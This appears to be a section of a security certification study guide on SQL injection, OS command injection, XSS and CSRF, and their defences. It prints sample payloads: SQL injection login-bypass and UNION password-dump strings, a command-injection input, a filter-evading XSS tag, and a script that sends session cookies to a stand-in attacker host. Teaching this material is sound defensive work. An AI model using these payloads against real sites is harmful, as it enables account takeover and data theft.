3.4.1. Injection and Cross-Site Attacks
💡 First Principle: Injection attacks work because the application fails to distinguish between code (SQL, HTML, JavaScript, OS commands) and data — when user-supplied input gets interpreted as executable code, the attacker controls program behavior.
SQL Injection (SQLi) — Attacker inserts SQL syntax into input fields, causing the database to execute unintended queries.
Example: Login form expects username = 'alice'. Attacker enters ' OR 1=1 --. Query becomes: SELECT * FROM users WHERE username='' OR 1=1 --' — the OR 1=1 is always true, and -- comments out the rest. Result: authentication bypass, potentially returning all user records.
Types:
- In-band — Results returned directly in the application response
- Blind — No direct output; attacker infers results from application behavior (true/false responses, timing)
- Out-of-band — Results exfiltrated via DNS or HTTP requests
In-band attacks often use UNION SELECT to append a second query that returns other tables (for example ' UNION SELECT username,password FROM users --), and admin'-- logs in as admin because -- comments out the password check.
Prevention: Parameterized queries (primary), input validation (secondary), WAF (tertiary, easily bypassed alone).
A WAF runs in detection mode (log and alert only, used while tuning rules) or prevention (blocking) mode. In detection mode attacks are recorded but still reach the application, which stays exposed until prevention is enabled.
OS Command Injection — The application passes user input to a shell, so shell metacharacters (;, &&, |) let the attacker append their own commands. Example: code that runs os.system("ping -c 1 " + user_input) also runs whoami when the input is 1.2.3.4; whoami. Prevention: do not use a shell for the task; call an exec-style API that takes arguments as a list (no shell interpretation) and allow-list validate the input. Stripping metacharacters alone is fragile. As with SQL injection, the root cause is data being interpreted as code.
Cross-Site Scripting (XSS) — Attacker injects malicious JavaScript that executes in another user's browser.
Reflected XSS: Malicious script is in the URL/request, reflected in the response. Requires tricking a user into clicking a crafted link. Effect lasts only for that request. The usual payload reads document.cookie (the session token) and sends it to an attacker-controlled URL, for example <script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>.
Stored (Persistent) XSS: Malicious script is saved in the application (comment field, profile bio, forum post) and executes for every user who views it. More dangerous — no crafted link needed.
Prevention: Output encoding (HTML-encode user-supplied content before rendering), Content Security Policy (CSP), input validation.
Cross-Site Request Forgery (CSRF) — Attacker tricks an authenticated user's browser into submitting an unintended request to a web application where they're logged in.
Example: Victim is logged into their bank. They visit an attacker-controlled page with a hidden form that submits a funds transfer to the bank. The bank's server sees a request from the victim's authenticated session and processes it.
Prevention: CSRF tokens (unique, unpredictable token validated server-side for each state-changing request), SameSite cookie attribute.
| Attack | What the Attacker Controls | Primary Defense |
|---|---|---|
| SQL Injection | Database queries | Parameterized queries |
| Stored XSS | Content seen by all users of a page | Output encoding |
| Reflected XSS | Content seen by one targeted user | Output encoding + CSP |
| CSRF | Actions performed by authenticated users | CSRF tokens |
⚠️ Exam Trap: Stored XSS is generally more dangerous than reflected XSS. Stored XSS executes for every user who visits the affected page — it's a persistent threat. Reflected XSS requires the attacker to deliver a crafted link to each individual target. When the exam asks which is "more severe," the answer is stored/persistent.
Reflection Question: A developer uses input validation to reject any input containing <script> tags, believing this prevents XSS. An attacker submits <img src=x onerror=alert(1)> and successfully executes JavaScript. What does this demonstrate about the limitations of blacklist-based input validation as a primary XSS defense?